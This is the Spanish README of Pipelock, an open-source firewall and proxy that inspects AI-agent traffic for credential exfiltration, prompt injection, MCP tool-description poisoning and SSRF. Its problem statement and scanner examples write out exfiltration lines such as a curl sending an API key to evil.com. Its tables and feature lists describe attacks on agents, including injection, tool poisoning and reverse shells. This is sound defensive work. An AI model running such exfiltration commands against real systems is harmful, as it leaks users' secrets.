Pipelock
Firewall para agentes de IA. Proxy MCP que escanea llamadas a herramientas en busca de fugas de credenciales, inyección de prompts y envenenamiento de descripciones de herramientas.
Documentación
Firewall de código abierto para agentes de IA con Control de Egreso Verificable.
Pipelock se sitúa entre los agentes de IA y la red. Inspecciona el tráfico HTTP, WebSocket, MCP y A2A mediado, además del contenido de los túneles CONNECT cuando la interceptación TLS está habilitada, para detectar exfiltración de secretos, inyección de prompts, SSRF, envenenamiento de herramientas y cadenas de llamadas a herramientas riesgosas. El CONNECT simple sin interceptación se escanea a nivel de nombre de host y URL. Los upstreams MCP configurados son una excepción al bloqueo de SSRF en direcciones privadas: se permiten servidores locales/privados, pero los endpoints de metadatos de la nube permanecen bloqueados.
Pipelock emite recibos de acción firmados por el mediador sobre decisiones de límite conscientes del contenido, para que un revisor pueda verificar lo que Pipelock decidió fuera del runtime del agente. El corpus público agent-egress-bench ejercita las detecciones. El flujo de trabajo Gauntlet es el examen programado del producto contra una versión fija del corpus; no publica automáticamente una puntuación pública. Aprende más: Firewall de IA de código abierto.
Funciona con: Claude Code · OpenAI Codex · Cline · OpenCode · Pi · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph
Problema · Verificar · Inicio rápido · Acción · Detecciones · Características · Arquitectura · Documentación · Playground · Blog · Preguntar a Dosu
Pruébalo en tu navegador en el playground en vivo. Si Pipelock se lo gana, dale una estrella al repositorio para que otras personas lo encuentren.
El Problema
Tu agente de IA tiene $PROVIDER_API_KEY en su entorno, además de acceso al shell. Una sola solicitud puede filtrarlo:
curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching
Cada acción de máquina que tu agente realice debería cruzar un límite entre tus secretos y el internet abierto. Pipelock se convierte en ese límite cuando el agente se enruta a través de su proxy, wrapper MCP, sandbox, modelo de contención de host o topología de despliegue en clúster. Escanea el tráfico saliente y entrante mediado, bloquea o marca ataques según el modo, y registra evidencia firmada de la decisión.
Verifícalo Tú Mismo
La mayoría de las herramientas de seguridad para agentes te piden que confíes en su panel. Pipelock te entrega un recibo firmado y te permite verificarlo tú mismo, sin conexión, con una clave que tú posees. Sin cuenta y sin servidor.
La demo integrada ejecuta escenarios de ataque reales, los bloquea y escribe recibos firmados más la clave pública en disco sin configuración y sin red:
pipelock demo --receipts-dir ./out # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub # check a signature yourself (each receipt is <action-id>.json)
La tarjeta de puntuación califica cada afirmación por separado y declara lo que no demuestra: si ocurrió algo fuera del límite que Pipelock media. Debajo, la línea de tiempo de recibos enumera las decisiones mediadas registradas con sus veredictos y enlaces hash. Un recibo honesto sobre sus propios límites supera a una marca verde que los oculta.
El visor de evidencia es gratuito y no requiere licencia. Lee una sesión de registrador de vuelo, que es lo que Pipelock escribe mientras se ejecuta, en lugar de los recibos de la demo anterior:
pipelock init --output ./pipelock.yaml # names a recorder directory and generates its signing key
pipelock run --config ./pipelock.yaml # record while your agent works
pipelock evidence view --receipt-dir ./recorder --out report.html # static offline report, no server
pipelock evidence serve --receipt-dir ./recorder # same report, served read-only
Dos notas de honestidad, declaradas de antemano. La demo firma con una clave efímera que imprime para la ejecución, lo que demuestra que los recibos son autoconsistentes en lugar de estar vinculados a una identidad nombrada. El playground público de Pipelock es una ruta separada que verifica contra una clave que Pipelock publica. Y el operador que ejecuta Pipelock posee la clave de firma, por lo que un recibo demuestra lo que el límite decidió y que el titular de la clave lo firmó, no que el operador sea honesto. pipelock anchor receipts registra puntos de control de la cadena de recibos en un backend local o en un registro de transparencia Rekor para auditoría posterior, y la verificación independiente del operador contra ese ancla aún se está demostrando de extremo a extremo.
El argumento completo de por qué la prueba supera a las promesas está en demostración sobre atestación.
Inicio Rápido
# Build the current release from source (Community edition, Go 1.26+)
git clone --branch v3.5.0 --depth 1 https://github.com/luckyPipewrench/pipelock.git
make -C pipelock install
# Set up local agent integrations and generate a config
pipelock init
# Test the scanner
pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE" # blocked: AWS Access ID
pipelock check --url "https://docs.python.org/3/" # allowed
Otros métodos de instalación
# Download a binary
# See https://github.com/luckyPipewrench/pipelock/releases
# Docker
docker pull ghcr.io/luckypipewrench/pipelock:3.5.0
# Homebrew on macOS
brew install luckyPipewrench/tap/pipelock
Verificar la integridad del lanzamiento
gh attestation verify pipelock_3.5.0_linux_amd64.tar.gz --repo luckyPipewrench/pipelock --signer-workflow luckyPipewrench/pipelock/.github/workflows/release.yaml
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:3.5.0 --repo luckyPipewrench/pipelock --signer-workflow luckyPipewrench/pipelock/.github/workflows/release.yaml
# Helm chart, attested from 3.6.0 on:
gh attestation verify oci://ghcr.io/luckypipewrench/charts/pipelock:3.6.0 --repo luckyPipewrench/pipelock --signer-workflow luckyPipewrench/pipelock/.github/workflows/release.yaml
Los flujos de trabajo de lanzamiento publican procedencia SLSA, SBOMs CycloneDX, sumas de verificación e imágenes de contenedor firmadas, y (desde 3.6.0) un gráfico Helm atestado. Las compilaciones desde el código fuente realizadas con make build o make install producen un binario solo de Comunidad; los artefactos de lanzamiento precompilados incluyen código de nivel de pago que se activa con una clave de licencia válida.
Vélo en Acción
El panel del operador Pro/Enterprise (pipelock dashboard serve) es una consola de solo lectura sobre evidencia firmada. Admite autenticación por token, OIDC o mTLS; permisos RBAC limitados; vistas de metadatos redactadas; elevación de vista sin procesar; registros del ciclo de vida de exenciones; respaldo y restauración; certificados de cobertura; y vistas de flota. Está presente en compilaciones etiquetadas como enterprise y en artefactos de lanzamiento con la característica de licencia requerida.
El visor de evidencia gratuito de sesión única mostrado arriba es separado. No requiere licencia y no tiene enumeración entre agentes.
Galería del panel
Informes y monitoreo gratuitos
pipelock report --input events.jsonl genera informes HTML, JSON o en paquete firmado con calificación de riesgo, línea de tiempo, categorías de eventos y un apéndice de evidencia. La ruta gratuita de Prometheus y Grafana monitorea una instancia de Pipelock y es distinta del plano de control de flota Enterprise Conductor.
Qué Detecta
Medido contra un benchmark público y reproducible
agent-egress-bench ejecuta un corpus de ataques de exfiltración de agentes e inyección de prompts contra Pipelock, o contra cualquier otra herramienta. Los números provienen de una ejecución que cualquiera puede repetir, no de una afirmación.
Pipelock se ejecuta en tres modos:
| Modo | Seguridad | Navegación Web | Caso de Uso |
|---|---|---|---|
| estricto | Solo lista de permitidos | Ninguna | Industrias reguladas, alta seguridad |
| equilibrado | Bloquea ingenuos + detecta sofisticados | Vía fetch o proxy de reenvío | La mayoría de los desarrolladores (predeterminado) |
| auditoría | Solo registro | Sin restricciones | Evaluación antes de la aplicación |
Para agentes que ejecutan modelos sin censura o ablacionados, el hostile-model preset agrega defensas al modo estricto: umbrales de entropía agresivos, bloqueo general de herramientas de red, vinculación de sesión, detección de exfiltración entre solicitudes y un interruptor de apagado preconfigurado. pipelock audit recomienda este preset cuando detecta cadenas de herramientas conocidas de eliminación de salvaguardas mediante señales de dependencias.
| Vector de Ataque | Estricto | Equilibrado | Auditoría |
|---|---|---|---|
curl evil.com -d $SECRET | Prevenido | Prevenido | Registrado |
| Secreto en parámetros de consulta de URL | Prevenido | Detectado por DLP | Registrado |
| Secreto codificado en Base64 en URL | Prevenido | Detectado por entropía y DLP decodificado | Registrado |
| Túnel DNS | Prevenido | Detectado por entropía de subdominio | Registrado |
| Exfiltración fragmentada | Prevenido | Detectado por verificaciones de tasa, presupuesto y fragmentos | Registrado |
| Blob cifrado con clave pública en URL | Prevenido | Registrado cuando la entropía lo marca | Registrado |
Evaluación honesta: El modo estricto bloquea el HTTP saliente que atraviesa Pipelock excepto los dominios de API en la lista de permitidos, por lo que no hay canal de exfiltración a través del propio proxy. El modo equilibrado eleva el estándar de "un comando curl" a "ataque sofisticado preplanificado". El modo auditoría te brinda visibilidad que hoy no tienes. Con el sandbox habilitado (
pipelock sandbox) o la topología de contención de host/clúster aplicada, Pipelock agrega un límite de SO o de despliegue además de la inspección de contenido. El egreso directo aún debe ser bloqueado por ese límite para herramientas no cooperativas que ignoran la configuración del proxy.
Comparación
| Pipelock | Escáneres (agent-scan) | Sandboxes (srt) | Agentes de kernel (agentsh) | |
|---|---|---|---|---|
| Prevención de exfiltración de secretos | Estricto bloquea; equilibrado detecta | Parcial (modo proxy) | Parcial (nivel de dominio) | Sí |
| Análisis DLP + entropía | Sí | No | No | Parcial |
| Detección de inyección de prompts | Sí | Sí | No | No |
| Escaneo MCP (bidireccional + envenenamiento de herramientas) | Sí | Sí | No | No |
| Proxy WebSocket (escaneo de tramas) | Sí | No | No | No |
| Transporte HTTP MCP (Streamable HTTP) | Sí | No | No | No |
| Interruptor de apagado de emergencia (6 fuentes) | Sí | No | No | No |
| Detección de cadenas de llamadas a herramientas | Sí | No | No | No |
| Sandbox de procesos (sin Docker) | Sí | No | No | Sí (nivel de kernel) |
| Binario único, sin dependencias de runtime | Sí | No (Python) | No (npm) | No (kernel) |
Matriz de referencia: docs/comparison.md
Centro de comparación canónico: Comparación de seguridad de runtime de IA
Cobertura OWASP Agentic Top 10
| Amenaza | Cobertura | |--------|----------| | ASI01 Secuestro de objetivos del agente | Fuerte: MCP bidireccional + escaneo de respuestas | | ASI02 Uso indebido de herramientas | Parcial: proxy como herramienta controlada, escaneo MCP | | ASI03 Abuso de identidad y privilegios | Fuerte: separación de capacidades + protección SSRF; los upstreams MCP configurados permiten servidores locales/privados pero aún bloquean endpoints de metadatos en la nube | | ASI04 Vulnerabilidades de la cadena de suministro | Parcial: monitoreo de integridad + escaneo MCP | | ASI05 Ejecución inesperada de código | Moderada: aprobación HITL, valores predeterminados de cierre ante fallos | | ASI06 Envenenamiento de memoria y contexto | Moderada: detección de inyección + propagación de mancha de sesión | | ASI07 Comunicación insegura entre agentes | Parcial: escaneo MCP/A2A, ID de agente, integridad, firma | | ASI08 Fallos en cascada | Moderada: arquitectura de cierre ante fallos, limitación de velocidad | | ASI09 Explotación de la confianza humano-agente | Parcial: modos HITL, registro de auditoría | | ASI10 Agentes maliciosos | Fuerte: lista de permitidos de dominio + limitación de velocidad + separación de capacidades |
Detalles, ejemplos de configuración y análisis de brechas: docs/owasp-mapping.md
Qué Hace
Pipelock es un proxy de egreso de IA y un control de seguridad MCP. Se sitúa en línea entre tu agente de IA y la red, escanea el tráfico saliente y entrante, y emite recibos firmados más metadatos de mediación para la atestación fuera del runtime del agente. La evaluación de identidad de carga de trabajo AARP/SVID es del lado del verificador hoy: el proxy y los runtimes MCP no consumen evidencia SVID en decisiones de permitir/bloquear en vivo ni vinculan la identidad del actor del recibo desde un X.509-SVID.
Detección y Escaneo
- Pipeline de escáner de URL ordenado: comprobaciones de longitud y análisis de URL, validación de esquema, detección de CRLF y path traversal, política de lista de permitidos y bloqueados, piso inmutable de SSRF de IP literal y DLP central, DLP configurado, análisis de entropía de ruta, consulta y subdominio, destinos de URL anidados en parámetros de consulta, protección de SSRF DNS y rebinding, límites de velocidad por dominio, presupuestos de datos y comprobaciones de contexto finales. DLP se ejecuta antes de la resolución DNS, por lo que los secretos se detectan antes de que una consulta DNS salga del proxy. Ver docs/bypass-resistance.md.
- DLP: 65 patrones integrados para claves API, tokens, credenciales, claves de criptomonedas, secretos de entorno e identificadores financieros con validación de checksum. La detección de frases semilla BIP-39 usa búsqueda en diccionario, ventanas deslizantes y validación de checksum SHA-256.
- Escaneo de respuestas: 34 patrones integrados de inyección de prompts y envenenamiento de estado/control, más normalización de 6 pasadas para caracteres de ancho cero, homoglifos, leetspeak, espacios opcionales, plegado de vocales, base64 y hexadecimal. Las acciones son
block,strip,warnoask. - SSE de streaming: las respuestas
text/event-streamde puertas de enlace LLM y el flujo MCP HTTP/SSE token por token con escaneo de DLP e inyección por evento y transversal entre eventos. Una detección termina el flujo con cierre ante fallos. Ver guía de streaming SSE. - Escaneo del cuerpo de solicitudes: los encabezados y cuerpos se escanean antes de salir de la ruta protegida a través de JSON, datos de formulario, texto sin formato, solicitudes de proxy inverso, tráfico CONNECT interceptado por TLS y marcos de cliente WebSocket salientes.
- Redacción de solicitudes: la reescritura JSON opcional reemplaza los valores de secretos coincidentes con marcadores de posición tipados como
<pl:aws-access-key:1>a través de HTTP, WebSocket y argumentostools/callde MCP. Los recibos registran el perfil activo y los conteos por clase en lugar de secretos en texto plano. - Protección de direcciones: la validación de direcciones ETH, BTC, SOL y BNB detecta intercambios de destinos similares usando huellas de prefijo/sufijo y una lista de permitidos de operadores.
- Hallazgos explicables:
pipelock explain <url>(tambiénexplain event <id>,explain mcp-responseyexplain responsepara un cuerpo de respuesta HTTP guardado) imprime el escáner, la capa, la regla coincidente, la superficie inspeccionada y el ajuste de configuración más estrecho disponible para un falso positivo. Verdocs/cli/explain.md. - Tokens canarios:
pipelock canarygenera configuración de honeytoken. Un secreto sintético que aparece en el tráfico saliente prueba que un agente o algo en su cadena está exfiltrando variables de entorno. Ver tokens canarios. - Escaneo de archivos de habilidades:
pipelock skill-scaninventaría los archivos de habilidades del agente, los compara con un archivo de bloqueo propiedad del operador y marca combinaciones fuente-a-sumidero como credencial-a-sumidero-de-red o shell-a-escritura con evidencia de línea antes de que algo se ejecute. Verdocs/cli/skill-scan.md.
Seguridad MCP
Pipelock envuelve servidores MCP con escaneo bidireccional:
# Wrap a local MCP server over stdio
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp
# Bridge a stdio client to a remote Streamable HTTP server
pipelock mcp proxy --upstream http://localhost:8080/mcp
# Run the HTTP proxy and an MCP HTTP listener together
pipelock run --config pipelock.yaml --mcp-listen 127.0.0.1:8889 --mcp-upstream http://localhost:3000/mcp
- Escaneo de entrada: las solicitudes del cliente MCP se verifican para fugas DLP e inyección en argumentos de herramientas.
- Escaneo de respuestas: las respuestas del servidor se escanean antes de que el agente las vea.
- Envenenamiento de herramientas: las descripciones
tools/listse verifican para instrucciones ocultas y cambios de "rug-pull" a mitad de sesión. - Política de herramientas: 30 reglas integradas bloquean eliminaciones destructivas de archivos, acceso a credenciales, shells inversos, mecanismos de persistencia, ejecución de comandos codificados y llamadas de herramientas de alto riesgo relacionadas antes de la ejecución.
- Cadenas de llamadas de herramientas: 10 patrones integrados de ejes de categorías detectan reconocimiento, robo de credenciales, preparación de datos, persistencia, exfiltración y cadenas de callback con tolerancia de brecha configurable.
- Inspección A2A: el tráfico del protocolo Google Agent-to-Agent se inspecciona en las rutas de reenvío y MCP; Pipelock no es un proxy A2A independiente.
- Listeners HTTP MCP autenticados (v3.2.0): los listeners MCP no-loopback fallan cerrados por defecto y requieren
--mcp-auth-token-file, o un--mcp-allow-unauthenticatedexplícito para despliegues aislados por política de red. Los listeners loopback sin token rechazan autoridades Host de DNS-rebound y puerto incorrecto y eliminan las credenciales del listener de los encabezados.
Contención
La contención de procesos sin privilegios usa primitivas nativas del SO. Linux usa Landlock y namespaces de red; linux/amd64 también aplica seccomp. Otras compilaciones de Linux etiquetan el lanzamiento como parcial mientras el namespace de red está activo, y --strict los rechaza. macOS usa perfiles sandbox-exec. En contenedores, --best-effort mantiene Landlock y, en linux/amd64, seccomp cuando la creación de namespaces está restringida. Su expiración limita solo la admisión: nunca detiene a un hijo ya en ejecución, y cada lanzamiento posterior debe ser reautorizado. Un lanzamiento sin el namespace se etiqueta como anulación-advisoria independientemente de la arquitectura, porque la falta del namespace es la brecha más grave: el escaneo de red entonces usa enrutamiento basado en proxy y puede ser evadido por egreso directo.
pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort \
--best-effort-reason "container user namespaces disabled" \
--best-effort-expiry 30m -- python agent.py
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server
La contención del host va más allá en Linux:
pipelock contain install
pipelock contain verify
pipelock contain run -- claude-code
pipelock contain (install, run, verify, doctor, rollback, add-tool, concesiones de workspace, ca-refresh, reload-nft-rules y más) gestiona un modelo de 3-UID operador / proxy / agente: el agente se ejecuta en un namespace de red privado sin ruta fuera del host, alcanzando solo el proxy Pipelock a través de un socket de puerta, con reglas de coincidencia de propietario nftables como respaldo final, más configuración de servicio systemd, comandos wrapper, ACLs de workspace, actualización de CA y evidencia de postura. Ver docs/contain-cli.md.
Evidencia y Recibos
- Grabador de vuelo: evidencia JSONL encadenada por hash por escritor con puntos de control firmados Ed25519 y redacción DLP.
pipelock initaprovisiona un directorio de grabador y clave de firma para instalaciones estándar. La grabación necesita un directorio, y porque la firma de puntos de control está activada por defecto, también necesita una clave de firma; establecesign_checkpoints: falsepara un grabador encadenado por hash explícitamente sin firmar. Usapipelock evidence doctor DIRpara detectar daño estructural en un directorio de evidencia. Ver Grabador de Vuelo. - Recibos de acciones: registros firmados emitidos para acciones mediadas, que llevan veredicto, hash de política, transporte y capa de escáner. Los bloqueos producen recibos; la aplicación de recibos en la ruta de permitir requiere
flight_recorder.require_receipts. Verifica conpipelock verify-receipt --key <signer.pub>. Las ejecuciones sin fijar son solo estructurales y salen con código no cero a menos que se pase--allow-unpinned. - Sobre de mediación: metadatos de banda lateral RFC 8941 en solicitudes HTTP reenviadas y
_metade MCP, con tipo de acción, veredicto, identidad del actor, hash de política, contexto de mancha e ID de correlación de recibo. Ver guía de federación. - Conformidad de recibos: cuatro implementaciones de verificador independientes entre lenguajes (Go, TypeScript, Rust y Python) se ejecutan contra un corpus de conformidad compartido, incluyendo entradas malformadas y forjables como claves duplicadas, desbordamiento de enteros y pares sueltos no emparejados. Una superficie wasm de navegador reutiliza la implementación del verificador Go. La evaluación AARP/SVID sigue siendo un perfil de verificador fuera de línea, no una aplicación de identidad en runtime.
- Anclas:
pipelock anchor receiptsregistra puntos de control de la cadena de recibos en un backend local o Rekor. El anclaje Rekor es material de prueba para auditoría posterior; la verificación Rekor requiere claves de log fijadas y la ruta de independencia del operador de extremo a extremo aún se está demostrando. - Cápsula de postura:
pipelock posture emitypipelock posture verifyproducen y verifican una instantánea firmada de la postura de aplicación de un despliegue, con una puerta de CI y modelo de puntuación, para que un revisor pueda confirmar que el límite se configuró como se afirma.
Flota y Empresa
- Panel del operador:
pipelock dashboard servees una consola de solo lectura sobre evidencia firmada. Pro desbloquea las vistas Overview, Evidence, Exemptions, Agents, Budgets y Trust & Keys; Enterprise añade las vistas Fleet, Workbench e Incident. Verdocs/cli/dashboard.md. - Visor de evidencia gratuito:
pipelock evidence serveypipelock evidence viewrenderizan una sesión de grabador seleccionada sin licencia ni enumeración entre agentes.pipelock evidence verify-certverifica certificados de cobertura emitidos por Pro fuera de línea. - Conductor: plano de control de flota Enterprise para distribución de paquetes de política firmados, sumidero de evidencia firmada (
pipelock fleet-sink), inscripción, kill remoto, rollback, dry-run, reproducción de decisiones y preflight de deriva runtime/estado-aplicado sobre mTLS/SPIFFE. Los seguidores aplican localmente; el modo de política obsoleta por defecto activa una fuente de denegación independiente después de su ventana de gracia, mientras que la anulación documentadacontinue_last_known_gooddebilita esa postura. Conductor no tiene secretos de agentes. Ver la guía de Conductor. - Retención legal:
pipelock dashboard legal-hold add/list/releasegestiona retenciones de preservación como metadatos de cumplimiento mantenidos fuera de la autoridad HTTP del panel, para que un panel comprometido pueda leer retenciones pero nunca forjarlas ni eliminarlas. - Línea base conductual: perfilado-y-bloqueo para el comportamiento de herramientas MCP con
pipelock baseline list/show/ratify/forgetpara aprobación del operador y reaprendizaje. Verdocs/cli/baseline.md.
Operabilidad
- Interruptor de emergencia: seis fuentes de activación independientes: archivo de configuración, API remota, SIGUSR1, archivo centinela, interruptor remoto de Conductor y detección de paquetes obsoletos. Cualquier fuente activa bloquea el tráfico, con exenciones de endpoints e IP en el controlador.
- API de escaneo: escaneo programático para veredictos de
url,dlp,prompt_injectionytool_callcon autenticación de token portador, límite de velocidad por token, hallazgos estructurados y métricas de Prometheus. Ver docs/scan-api.md. - Centinela de sistema de archivos: vigila los directorios de trabajo de los agentes en busca de secretos escritos en disco y atribuye las escrituras al linaje de subprocesos MCP en Linux. Ver docs/guides/filesystem-sentinel.md.
- Emisión de eventos: reenvía eventos de auditoría a SIEM, receptores de webhook, syslog, CEF, OTLP y salidas de métricas sin bloquear la ruta crítica del proxy. Ver docs/guides/siem-integration.md.
- Evaluación de seguridad:
pipelock assess init,pipelock assess runypipelock assess finalizeorquestan la simulación de ataques, la puntuación de configuración, la verificación de instalación y el descubrimiento de MCP en un paquete de evidencia reproducible. Las exposiciones críticas, como servidores MCP desprotegidos, limitan la calificación independientemente de la puntuación numérica. Cada evaluación finalizada está firmada con Ed25519 de forma predeterminada, con licencia o no, por lo que el directorio de ejecución finalizado se puede verificar conpipelock assess verify, que calcula el hash de los artefactos listados en el manifiesto y verifica la firma del manifiesto separada. Pase--unsignedaassess finalizepara omitir la firma. El resumen gratuito muestra su calificación, puntuaciones por sección, hallazgos principales y recuentos de cobertura de cumplimiento; una licencia desbloquea el informe completo con hallazgos específicos del servidor, comandos de remediación y la atestación separada y la insignia.
Más funciones
| Función | Qué hace |
|---|---|
| Informes de auditoría | pipelock report --input events.jsonl genera informes HTML/JSON/paquete con calificación de riesgo, cronología y apéndice de evidencia. Firma Ed25519 con --sign. (Informe de muestra) |
| Diagnóstico | pipelock diagnose ejecuta 7 comprobaciones locales para verificar su configuración de extremo a extremo sin red. |
| Doctor de cumplimiento (v2.5) | pipelock doctor informa el estado configurado frente al aplicable para proxy, interceptación TLS, escaneo de cuerpos de solicitudes, Browser Shield, envoltura MCP, integridad binaria MCP, procedencia de herramientas, file_sentry, Sentry y señales de límite de implementación. |
| Bloqueo de inyección en el cuerpo de solicitudes (v2.5) | En modo de aplicación, los hallazgos de inyección de indicaciones en el cuerpo de solicitudes bloquean todos los destinos excepto los hosts listados en request_body_scanning.trusted_hosts, y los hallazgos inmutables de DLP del núcleo bloquean todos los destinos excepto una credencial de proveedor enviada a su audiencia emisora compilada en un operador permitido, o una credencial que el redactor reescribió por completo en un host trusted_hosts, a través de transportes directos, inversos, de interceptación TLS y WebSocket, con encabezados de motivo de bloqueo para diagnóstico visible por el operador. |
| Política de solicitudes (v2.6) | Rieles de denegar/advertir con permiso predeterminado en operaciones API salientes: coincidencia de ruta más predicados de operación GraphQL, recursión en sobres JSON $batch, cierre por fallo en cuerpos no analizables u opacos, y ejecución antes de la puerta del contrato. Ver la guía de política de solicitudes. |
| Interceptación TLS | MITM de túnel CONNECT opcional: descifrar, escanear cuerpos/encabezados/respuestas, volver a cifrar. pipelock tls init genera una CA, luego pipelock tls install-ca imprime los pasos de instalación del almacén de confianza de la plataforma. |
| Sugerencias de bloqueo | explain_blocks: true opcional agrega sugerencias de corrección a las respuestas bloqueadas. |
| Auditoría de proyectos | pipelock audit ./project escanea riesgos de seguridad y genera una configuración personalizada. |
| Puntuación de configuración (v2.6) | pipelock audit score --config pipelock.yaml evalúa la postura de seguridad en 23 categorías con un presupuesto de 170 puntos y calificación con letra. |
| Integridad de archivos | Los manifiestos SHA256 detectan archivos de espacio de trabajo modificados, agregados o eliminados. |
| Protección Git | git diff | pipelock git scan-diff detecta secretos antes de confirmar. |
| Firma Ed25519 | Gestión de claves, firma de archivos y verificación de firmas para confianza multiagente. |
| Perfilado de sesiones | Análisis de comportamiento por sesión para ráfagas de dominio. |
| Aplicación adaptativa | Puntuación de amenaza por sesión con escalada de advertir a bloquear, temporizadores de desescalada y detección de ráfagas de dominio. |
| CLI de operador adaptativo (v2.5) | pipelock adaptive status / flush / whoami expone el estado adaptativo en tiempo de ejecución a través de la API de administración autenticada. Ver docs/cli/adaptive.md. |
| Supresión de hallazgos | Silenciar falsos positivos conocidos mediante reglas de configuración o comentarios en línea pipelock:ignore. |
| Soporte multiagente | Perfiles por agente seleccionados por identidad configurada por el operador en los oyentes principales del proxy. Un oyente dedicado o una coincidencia source_cidrs en la dirección propia de la conexión selecciona un perfil con calificación bound. Un valor predeterminado configurado usa la calificación config-default y selecciona su perfil coincidente; habilitar bind_default_agent_identity hace que anule los nombres proporcionados por el llamador. De lo contrario, X-Pipelock-Agent tiene prioridad sobre el valor predeterminado configurado, y ?agent= se usa solo cuando ninguno está presente. Los nombres de encabezado y consulta siguen siendo solo de atribución y usan la política _default o base. El oyente inverso MCP mantiene su escáner y política a nivel de oyente; su identidad resuelta es solo de atribución. |
| Monitoreo de flota | Métricas de Prometheus por instancia más panel de Grafana listo para importar. Monitoreo gratuito de instancia única, distinto de Conductor. |
| Panel de operador (v3.1, Pro/Enterprise) | pipelock dashboard serve ofrece vistas de solo lectura de Resumen, Evidencia, Exenciones, Agentes, Presupuestos, Confianza y Claves, Flota, Banco de trabajo e Incidentes con autenticación de token, OIDC o mTLS, RBAC limitado, elevación de vista sin procesar, copia de seguridad/restauración, registros de ciclo de vida de exenciones y certificados de cobertura. Ver docs/cli/dashboard.md. |
| Visor de evidencia gratuito (v3.1) | pipelock evidence serve sirve una sesión de grabadora seleccionada como informe HTML de solo lectura sin licencia y sin enumeración entre agentes. pipelock evidence verify-cert verifica certificados de cobertura emitidos por Pro sin conexión. |
| Conductor: plano de control de flota (v2.7, Enterprise) | Distribución de paquetes de políticas firmados, sumidero de auditoría de evidencia firmada (pipelock fleet-sink), inscripción, interruptor remoto, reversión de políticas, ejecución de prueba, reproducción de decisiones y verificación previa de desviación de estado de ejecución/aplicación sobre mTLS/SPIFFE. Controlado por la función de licencia fleet; el comportamiento de política obsoleta es explícito y el valor predeterminado es denegación estricta. Ver la guía de Conductor. |
| Escaneo A2A | Detección de envenenamiento de tarjetas de agente, monitoreo de desviación de tarjetas y prevención de contrabando de sesiones para el protocolo Agente a Agente de Google en rutas directas/MCP. |
| Línea base de comportamiento | Perfilado y bloqueo para el comportamiento de herramientas MCP con pipelock baseline list/show/ratify/forget para aprobación y reaprendizaje del operador. Ver docs/cli/baseline.md. |
| Denegación de billetera | Presupuestos MCP por agente para llamadas totales de herramientas, reintentos de la misma herramienta, detección de bucles/ciclos y duración de tiempo real. |
| Escalada de contaminación | Escalada de políticas basada en exposición a través de límites MCP y de tareas hasta que se restablezca la confianza. |
| Sobre de mediación | Metadatos de banda lateral RFC 8941 en solicitudes HTTP reenviadas y _meta MCP, con verificación entrante, protección de reproducción, formato de actor SPIFFE y directorio de claves de firma RFC 9421. Ver guía de federación. |
| Conformidad de recibos | Suite de verificación de recibos entre implementaciones (sdk/conformance/) en implementaciones independientes de Go, TypeScript, Rust y Python, más una superficie wasm de navegador respaldada por Go. EvidenceReceipt v2 usa canonicalización RFC 8785/JCS. La evaluación AARP/SVID permanece sin conexión en el lado del verificador. |
| Aprender y bloquear (v2.4) | Contratos de comportamiento por agente: observar tráfico, compilar un contrato candidato firmado, reproducir observaciones capturadas en sombra, ratificar por regla, promover el manifiesto activo firmado y aplicar en vivo en transportes con URL más llamadas de herramientas MCP. Ver guía de aprender y bloquear. |
| Encabezado de motivo de bloqueo (v2.4) | X-Pipelock-Block-Reason en rutas de bloqueo con capacidad HTTP, con el mismo vocabulario de motivos en metadatos de error JSON-RPC MCP. Ver encabezado de motivo de bloqueo. |
| Perro guardián de detección de cuñas (v2.4) | health_watchdog devuelve /health 503 cuando un latido de subsistema queda obsoleto. Ver guía de endpoint de salud. |
| Forma de complemento de proveedor de redacción (v2.4) | Analizadores de redacción de primera parte para API de chat de Anthropic, OpenAI y Gemini, con una forma de complemento de proveedor para analizadores de terceros. |
| Esquema de paquete de auditoría v0 + verificadores (v2.5) | Esquema canónico de paquete de auditoría de primera parte con implementaciones de verificador en Go, TypeScript y Rust, más CLI independiente pipelock-verifier. El esquema vive bajo sdk/audit-packet/; los paquetes de verificador viven bajo sdk/verifiers/. |
| Ciclo de vida de contención de host (v2.5) | pipelock contain (install, run, verify, doctor, rollback, add-tool, concesiones de espacio de trabajo, ca-refresh, reload-nft-rules y más) gestiona el modelo de contención de 3 UID: un espacio de nombres de red privado sin ruta fuera del host es el límite principal, las reglas de coincidencia de propietario nftables son el respaldo. Ver docs/contain-cli.md. |
| Manifiestos de integridad MCP (v2.5) | pipelock mcp integrity manifest generate / verify / sign / verify-signature fija binarios/scripts de servidor MCP por hash y puede requerir una firma de manifiesto confiable antes del lanzamiento de subprocesos. Ver docs/cli/mcp-integrity.md. |
| Contrato de lanzador MCP de Kubernetes (v2.5) | pipelock init sidecar --mcp-upstream emite configuración de oyente complementario, puerto de servicio, anotaciones de carga de trabajo, permiso de NetworkPolicy, PIPELOCK_MCP_PROXY_URL y PIPELOCK_MCP_CONFIG montado. Ver docs/cli/init-sidecar.md. |
| Modo estricto de federación (v2.5) | La verificación de sobre de mediación entrante requiere actores en formato SPIFFE de forma predeterminada, se aplican lápidas de contrato y pipelock envelope trust add/list/remove/verify gestiona la confianza local. Ver guía de federación. |
| Política de medios | Elimina metadatos esteganográficos de JPEG/PNG, rechaza audio/video de forma predeterminada, endurece el contenido activo SVG y aplica límites de tamaño de imagen. Ver Política de medios. |
| Mapeos de cumplimiento | OWASP MCP Top 10, OWASP Agentic Top 15, OWASP LLM Top 10, NIST 800-53, EU AI Act y mapeos de adquisición/auditoría. |
Gratis, Pro y Enterprise
Toda la detección, aplicación, contención, verificación de recibos y el visor de evidencia de agente único gratuito son gratuitos para siempre bajo Apache 2.0. Pro agrega operaciones de agentes nombrados, incluidos certificados de cobertura por agente; Enterprise agrega gobernanza de flota y cumplimiento.
| Capacidad | Gratis | Pro | Enterprise |
|---|---|---|---|
| Escaneo y detección (pipeline de URL ordenado, DLP, inyección, SSRF, streaming SSE, redacción, protección de direcciones) | Sí | Sí | Sí |
| Escaneo MCP y A2A (entrada, respuesta, política de herramientas, cadena de herramientas, envenenamiento, integridad, listeners autenticados; upstreams configurados permiten servidores locales/privados y aún bloquean metadatos de nube) | Sí | Sí | Sí |
